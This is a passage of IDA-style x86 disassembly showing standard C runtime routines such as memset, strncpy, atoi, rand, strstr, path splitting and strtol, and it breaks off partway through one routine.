; =============== S U B	R O U T	I N E =======================================



sub_41B590	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41B5E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41B5D7
		neg	ecx
		and	ecx, 3
		jz	short loc_41B5B9
		sub	edx, ecx


loc_41B5B3:				; CODE XREF: sub_41B590+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41B5B3


loc_41B5B9:				; CODE XREF: sub_41B590+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41B5D7
		rep stosd
		test	edx, edx
		jz	short loc_41B5DD


loc_41B5D7:				; CODE XREF: sub_41B590+18j
					; sub_41B590+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41B5D7


loc_41B5DD:				; CODE XREF: sub_41B590+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B5E3:				; CODE XREF: sub_41B590+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41B590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B5F0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41B673
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41B614
		shr	ecx, 2
		jnz	short loc_41B681
		jmp	short loc_41B635
; ---------------------------------------------------------------------------


loc_41B614:				; CODE XREF: sub_41B5F0+1Bj
					; sub_41B5F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41B642
		test	al, al
		jz	short loc_41B64A
		test	esi, 3
		jnz	short loc_41B614
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B681


loc_41B630:				; CODE XREF: sub_41B5F0+8Fj
		and	ebx, 3
		jz	short loc_41B642


loc_41B635:				; CODE XREF: sub_41B5F0+22j
					; sub_41B5F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41B66E
		dec	ebx
		jnz	short loc_41B635


loc_41B642:				; CODE XREF: sub_41B5F0+2Bj
					; sub_41B5F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B64A:				; CODE XREF: sub_41B5F0+2Fj
		test	edi, 3
		jz	short loc_41B664


loc_41B652:				; CODE XREF: sub_41B5F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41B6E6
		test	edi, 3
		jnz	short loc_41B652


loc_41B664:				; CODE XREF: sub_41B5F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B6D7


loc_41B66B:				; CODE XREF: sub_41B5F0+7Fj
					; sub_41B5F0+F4j
		mov	[edi], al
		inc	edi


loc_41B66E:				; CODE XREF: sub_41B5F0+4Dj
		dec	ebx
		jnz	short loc_41B66B
		pop	ebx
		pop	esi


loc_41B673:				; CODE XREF: sub_41B5F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B679:				; CODE XREF: sub_41B5F0+A9j
					; sub_41B5F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41B630


loc_41B681:				; CODE XREF: sub_41B5F0+20j
					; sub_41B5F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41B679
		test	dl, dl
		jz	short loc_41B6CB
		test	dh, dh
		jz	short loc_41B6C1
		test	edx, 0FF0000h
		jz	short loc_41B6B7
		test	edx, 0FF000000h
		jnz	short loc_41B679
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6B7:				; CODE XREF: sub_41B5F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6C1:				; CODE XREF: sub_41B5F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6CB:				; CODE XREF: sub_41B5F0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41B6CF:				; CODE XREF: sub_41B5F0+C5j
					; sub_41B5F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41B6E1


loc_41B6D7:				; CODE XREF: sub_41B5F0+79j
		xor	eax, eax


loc_41B6D9:				; CODE XREF: sub_41B5F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41B6D9


loc_41B6E1:				; CODE XREF: sub_41B5F0+E5j
		and	ebx, 3
		jnz	short loc_41B66B


loc_41B6E6:				; CODE XREF: sub_41B5F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41B5F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6EE	proc near		; CODE XREF: sub_41B779+4p
					; sub_4247EC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41B6F6:				; CODE XREF: sub_41B6EE+34j
		cmp	dword_43C504, 1
		jle	short loc_41B70E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B71D
; ---------------------------------------------------------------------------


loc_41B70E:				; CODE XREF: sub_41B6EE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41B71D:				; CODE XREF: sub_41B6EE+1Ej
		test	eax, eax
		jz	short loc_41B724
		inc	edi
		jmp	short loc_41B6F6
; ---------------------------------------------------------------------------


loc_41B724:				; CODE XREF: sub_41B6EE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41B734
		cmp	esi, 2Bh
		jnz	short loc_41B738


loc_41B734:				; CODE XREF: sub_41B6EE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41B738:				; CODE XREF: sub_41B6EE+44j
		xor	ebx, ebx


loc_41B73A:				; CODE XREF: sub_41B6EE+7Bj
		cmp	dword_43C504, 1
		jle	short loc_41B74F
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B75A
; ---------------------------------------------------------------------------


loc_41B74F:				; CODE XREF: sub_41B6EE+53j
		mov	eax, off_43C2F8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41B75A:				; CODE XREF: sub_41B6EE+5Fj
		test	eax, eax
		jz	short loc_41B76B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41B73A
; ---------------------------------------------------------------------------


loc_41B76B:				; CODE XREF: sub_41B6EE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41B774
		neg	eax


loc_41B774:				; CODE XREF: sub_41B6EE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B779	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+733p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B6EE
		pop	ecx
		retn
sub_41B779	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43A29C
		test	eax, eax
		jz	short loc_41B78F
		call	eax ; sub_41C748


loc_41B78F:				; CODE XREF: ___:0041B78Bj
		push	offset dword_42902C
		push	offset dword_429018
		call	sub_41B86C
		push	offset dword_429014
		push	offset dword_429000
		call	sub_41B86C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41B7D3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41B7C2	proc near		; CODE XREF: sub_41DA29+1Cp
					; sub_42255C+2276p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41B7D3
		add	esp, 0Ch
		retn
sub_41B7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7D3	proc near		; CODE XREF: ___:0041B7B9p
					; sub_41B7C2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DB2C0, edi
		jnz	short loc_41B7F0
		push	[esp+4+arg_0]
		nop
		call	near ptr 2720517h
		push	eax
		nop
		call	near ptr 2710BD7h


loc_41B7F0:				; CODE XREF: sub_41B7D3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DB2BC, edi
		mov	byte_4DB2B8, bl
		jnz	short loc_41B844
		mov	eax, dword_4DC91C
		test	eax, eax
		jz	short loc_41B833
		mov	ecx, dword_4DC918
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41B832


loc_41B81F:				; CODE XREF: sub_41B7D3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B827
		call	eax


loc_41B827:				; CODE XREF: sub_41B7D3+50j
		sub	esi, 4
		cmp	esi, dword_4DC91C
		jnb	short loc_41B81F


loc_41B832:				; CODE XREF: sub_41B7D3+4Aj
		pop	esi


loc_41B833:				; CODE XREF: sub_41B7D3+3Cj
		push	offset dword_429038
		push	offset dword_429030
		call	sub_41B86C
		pop	ecx
		pop	ecx


loc_41B844:				; CODE XREF: sub_41B7D3+33j
		push	offset dword_429044
		push	offset dword_42903C
		call	sub_41B86C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41B86A
		push	[esp+4+arg_0]
		mov	dword_4DB2C0, edi
		nop
		call	near ptr 77E75CB5h


loc_41B86A:				; CODE XREF: sub_41B7D3+85j
		pop	edi
		retn
sub_41B7D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B86C	proc near		; CODE XREF: ___:0041B799p
					; ___:0041B7A8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41B871:				; CODE XREF: sub_41B86C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41B884
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B87F
		call	eax


loc_41B87F:				; CODE XREF: sub_41B86C+Fj
		add	esi, 4
		jmp	short loc_41B871
; ---------------------------------------------------------------------------


loc_41B884:				; CODE XREF: sub_41B86C+9j
		pop	esi
		retn
sub_41B86C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B886	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B8C6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B8D3
; ---------------------------------------------------------------------------


loc_41B8C6:				; CODE XREF: sub_41B886+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B8D3:				; CODE XREF: sub_41B886+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B886	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8D8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+31A2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43A280, eax
		retn
sub_41B8D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8E2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43A280
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43A280, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41B8E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41B97A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41B967


loc_41B918:				; CODE XREF: sub_41B900+52j
					; sub_41B900+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jz	short loc_41B934


loc_41B929:				; CODE XREF: sub_41B900+32j
		mov	al, [esi]
		inc	esi


loc_41B92C:				; CODE XREF: sub_41B900+3Fj
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jnz	short loc_41B929


loc_41B934:				; CODE XREF: sub_41B900+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41B93A:				; CODE XREF: sub_41B900+23j
					; sub_41B900+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41B92C
		lea	edi, [esi-1]


loc_41B944:				; CODE XREF: sub_41B900+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41B973
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41B918
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41B973
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41B944
		jmp	short loc_41B918
; ---------------------------------------------------------------------------


loc_41B967:				; CODE XREF: sub_41B900+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41BFB6
; ---------------------------------------------------------------------------


loc_41B973:				; CODE XREF: sub_41B900+49j
					; sub_41B900+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B97A:				; CODE XREF: sub_41B900+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41B900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B980	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C72p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B9BF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B9CC
; ---------------------------------------------------------------------------


loc_41B9BF:				; CODE XREF: sub_41B980+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B9CC:				; CODE XREF: sub_41B980+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9D1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+21D1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41AFE0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41BA0C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41BA0C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41BA08
		push	2
		push	ebx
		push	esi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41BA08:				; CODE XREF: sub_41B9D1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41BA16
; ---------------------------------------------------------------------------


loc_41BA0C:				; CODE XREF: sub_41B9D1+18j
					; sub_41B9D1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BA16
		and	byte ptr [eax],	0


loc_41BA16:				; CODE XREF: sub_41B9D1+39j
					; sub_41B9D1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41BA8E


loc_41BA29:				; CODE XREF: sub_41B9D1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DC7E1[edx], 4
		jz	short loc_41BA3A
		inc	eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA3A:				; CODE XREF: sub_41B9D1+64j
		cmp	cl, 2Fh
		jz	short loc_41BA4E
		cmp	cl, 5Ch
		jz	short loc_41BA4E
		cmp	cl, 2Eh
		jnz	short loc_41BA54
		mov	[ebp+var_4], eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA4E:				; CODE XREF: sub_41B9D1+6Cj
					; sub_41B9D1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41BA54:				; CODE XREF: sub_41B9D1+67j
					; sub_41B9D1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41BA29
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41BA8E
		cmp	[ebp+arg_8], 0
		jz	short loc_41BA89
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BA72
		mov	edi, esi


loc_41BA72:				; CODE XREF: sub_41B9D1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420289
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BA89:				; CODE XREF: sub_41B9D1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41BA98
; ---------------------------------------------------------------------------


loc_41BA8E:				; CODE XREF: sub_41B9D1+56j
					; sub_41B9D1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41BA98
		and	byte ptr [ecx],	0


loc_41BA98:				; CODE XREF: sub_41B9D1+BBj
					; sub_41B9D1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41BAEB
		cmp	edi, ebx
		jb	short loc_41BAEB
		cmp	[ebp+arg_C], 0
		jz	short loc_41BAC8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BAB1
		mov	edi, esi


loc_41BAB1:				; CODE XREF: sub_41B9D1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420289
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BAC8:				; CODE XREF: sub_41B9D1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41BB13
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41BAD8
		mov	esi, eax


loc_41BAD8:				; CODE XREF: sub_41B9D1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41BB13
; ---------------------------------------------------------------------------


loc_41BAEB:				; CODE XREF: sub_41B9D1+CCj
					; sub_41B9D1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41BB09
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41BAFA
		mov	esi, eax


loc_41BAFA:				; CODE XREF: sub_41B9D1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41BB09:				; CODE XREF: sub_41B9D1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41BB13
		and	byte ptr [eax],	0


loc_41BB13:				; CODE XREF: sub_41B9D1+FCj
					; sub_41B9D1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9D1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BB20	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41BB40


loc_41BB2C:				; CODE XREF: sub_41BB20+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41BB2C


loc_41BB40:				; CODE XREF: sub_41BB20+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41BB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB4F	proc near		; CODE XREF: sub_401ACD+757Ep
					; sub_401ACD+75ADp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41BB63
		xor	eax, eax
		jmp	short loc_41BB99
; ---------------------------------------------------------------------------


loc_41BB63:				; CODE XREF: sub_41BB4F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41BB93
		mov	esi, [ebp+arg_8]


loc_41BB6C:				; CODE XREF: sub_41BB4F+42j
		dec	dword ptr [esi+4]
		js	short loc_41BB7B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41BB82
; ---------------------------------------------------------------------------


loc_41BB7B:				; CODE XREF: sub_41BB4F+20j
		push	esi
		call	sub_41F043
		pop	ecx


loc_41BB82:				; CODE XREF: sub_41BB4F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BB9D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41BB93
		dec	[ebp+arg_4]
		jnz	short loc_41BB6C


loc_41BB93:				; CODE XREF: sub_41BB4F+18j
					; sub_41BB4F+3Dj ...
		and	byte ptr [edi],	0


loc_41BB96:				; CODE XREF: sub_41BB4F+55j
		mov	eax, ebx
		pop	esi


loc_41BB99:				; CODE XREF: sub_41BB4F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41BB9D:				; CODE XREF: sub_41BB4F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41BB93
		xor	ebx, ebx
		jmp	short loc_41BB96
sub_41BB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBA6	proc near		; CODE XREF: ___:0041DDA5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BBA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBBD	proc near		; CODE XREF: sub_41BBA6+Ep
					; sub_41BDC5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41BBD5:				; CODE XREF: sub_41BBBD+46j
		cmp	dword_43C504, 1
		jle	short loc_41BBED
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BBFC
; ---------------------------------------------------------------------------


loc_41BBED:				; CODE XREF: sub_41BBBD+1Fj
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41BBFC:				; CODE XREF: sub_41BBBD+2Ej
		test	eax, eax
		jz	short loc_41BC05
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41BBD5
; ---------------------------------------------------------------------------


loc_41BC05:				; CODE XREF: sub_41BBBD+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41BC13
		or	[ebp+arg_C], 2
		jmp	short loc_41BC18
; ---------------------------------------------------------------------------


loc_41BC13:				; CODE XREF: sub_41BBBD+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41BC1E


loc_41BC18:				; CODE XREF: sub_41BBBD+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC1E:				; CODE XREF: sub_41BBBD+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41BDB5
		cmp	eax, 1
		jz	loc_41BDB5
		cmp	eax, 24h
		jg	loc_41BDB5
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41BC66
		cmp	bl, 30h
		jz	short loc_41BC50
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC50:				; CODE XREF: sub_41BBBD+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC63
		cmp	al, 58h
		jz	short loc_41BC63
		mov	[ebp+arg_8], 8
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC63:				; CODE XREF: sub_41BBBD+97j
					; sub_41BBBD+9Bj
		mov	[ebp+arg_8], ecx


loc_41BC66:				; CODE XREF: sub_41BBBD+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41BC82
		cmp	bl, 30h
		jnz	short loc_41BC82
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC7A
		cmp	al, 58h
		jnz	short loc_41BC82


loc_41BC7A:				; CODE XREF: sub_41BBBD+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC82:				; CODE XREF: sub_41BBBD+91j
					; sub_41BBBD+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41BC92:				; CODE XREF: sub_41BBBD+16Cj
		cmp	dword_43C504, 1
		movzx	esi, bl
		jle	short loc_41BCAA
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCB5
; ---------------------------------------------------------------------------


loc_41BCAA:				; CODE XREF: sub_41BBBD+DFj
		mov	eax, off_43C2F8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41BCB5:				; CODE XREF: sub_41BBBD+EBj
		test	eax, eax
		jz	short loc_41BCC1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41BCF3
; ---------------------------------------------------------------------------


loc_41BCC1:				; CODE XREF: sub_41BBBD+FAj
		cmp	dword_43C504, 1
		jle	short loc_41BCD5
		push	edi
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCE0
; ---------------------------------------------------------------------------


loc_41BCD5:				; CODE XREF: sub_41BBBD+10Bj
		mov	eax, off_43C2F8
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41BCE0:				; CODE XREF: sub_41BBBD+116j
		test	eax, eax
		jz	short loc_41BD2E
		movsx	eax, bl
		push	eax
		call	sub_420313
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41BCF3:				; CODE XREF: sub_41BBBD+102j
